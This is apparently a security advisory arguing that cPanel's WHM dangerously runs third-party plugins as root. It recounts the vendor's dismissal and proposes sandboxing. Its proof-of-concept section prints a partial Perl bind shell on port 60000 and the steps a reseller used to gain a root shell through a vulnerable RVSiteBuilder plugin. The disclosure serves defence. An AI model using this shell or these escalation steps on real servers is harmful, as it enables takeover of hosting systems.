Type: Fundamental Security Failure
Website: cPanel Inc
Vulnerable Version: All
cPanel is an easy-to-use control panel that gives web hosts and the website owners they serve, the ability to quickly and easily manag their servers and websites. Web Host Manager (WHM) is a part of th cPanel software, often used by resellers and system administrators.
This is not a vulnerability in the software itself but instead a discussion of how WHM trusts all third party plugins with root level access which is a dangerous practice. For example, when a reseller logs into WHM and accesses a plugin it is then executed as root. Should a vulnerability exist in a plugin that is accessible to the reseller, it would then be trivial for the attacker to gain instant root access.
This has been brought to cPanel's attention as early as 2009 when several security flaws were found in popular third party plugins that allowed instant root access. Had we published these security flaws back then it would be safe to assume that at least 8 out of 10 hosting companies using cPanel would have been vulnerable to root compromises.
When we expressed our concerns to cPanel both in 2009 and earlier this month, their response was basically "not our problem" which we believe to be a terrible and reckless approach to security. It's of cPanel's opinion that despite admitting that WHM runs everything as root that it's up to the third party developers to maintain a secure code base and what happens after that is not their problem.
While we do agree that the third party developers share a responsibility, it is ultimately cPanel's platform that allows a small flaw to become a big flaw. Think of it like this, cPanel is saying "Sure we run PHP as root but it's not our fault that WordPress had a flaw that allowed the server to get rooted." Of course everyone knows how dangerous it is to run PHP as root but that is effectively what cPanel is doing here.
As much as we would like to see WHM rewritten from scratch to prevent these sorts of attacks, we know that's not practical. Instead, what we would like to see is a mechanism using ACL's or a wrapper of sorts that will execute third party plugins in a sand boxed environment. Something where if a third party plugin is found to have a vulnerability that root access cannot be obtained under any circumstances.
We shared our ideas with cPanel and they were immediately shot down with irrelevant examples of why it cannot work. It is our opinion that properly securing WHM from these sorts of attacks would not take a lot of effort but instead cPanel has a pattern of deflecting blame when it comes to security and we find that very chilling.
Make no mistake about it, anyone who uses cPanel should be concerned right now. There have been very real security flaws over the years that could have allowed an attacker to take over any cPanel server in a matter of seconds because of these fundamental security failures. It is our goal to bring public attention to this issue and put pressure on cPanel to implement any necessary changes.
Proof of Concept:
The following is from an old exploit that has since been fixed but could easily apply to any future vulnerability in third party plugins. In this case, the proof of concept is from an RVSiteBuilder exploit that we manipulated to drop to an instant root shell.
RVSiteBuilder stored user uploads in world writable directories located under a directory accessible via WHM:
In that directory we were able to create a file called exploit.cgi and used a simple Perl bindshell that would open port 60000 and drop to a root prompt when executed. For reference sake, here is a copy of that bindshell:
$port = 60000;
$proto = getprotobyname('tcp');
$cmd = "exploit";
$system = '/bin/sh -i';
socket(SERVER, PF_INET, SOCK_STREAM, $proto)
or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY))
or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
After we created exploit.cgi the next step was to log into WHM as the reseller and open the URL directly containing the bind shell. In this case it would have been:
Once we opened that URL, the bindshell was executed as root and now a bindshell running on port 60000 was waiting for us:
telnet domain.com 60000
Connected to domain.com.
Escape character is '^]'.
uid=0(root) gid=0(root) groups=0(root)
Should this be allowed to happen? Absolutely not! We cannot stress enough how much of a failure this is on cPanel's part to trust every third party plugin with root access. Any reseller on that server could have created that exploit.cgi via SSH, a cron job or through many other means and gained instantaneous root access to do as they please.
We have deemed this fundamental security failure to be rated as HIGH due to the fact that any third party plugin that is compromised will ultimately lead to a root compromise. At best, the attackers will only have root read access to view sensitive files, but at worst the attackers will have the ability to use a Perl bind shell to drop to an instant root shell.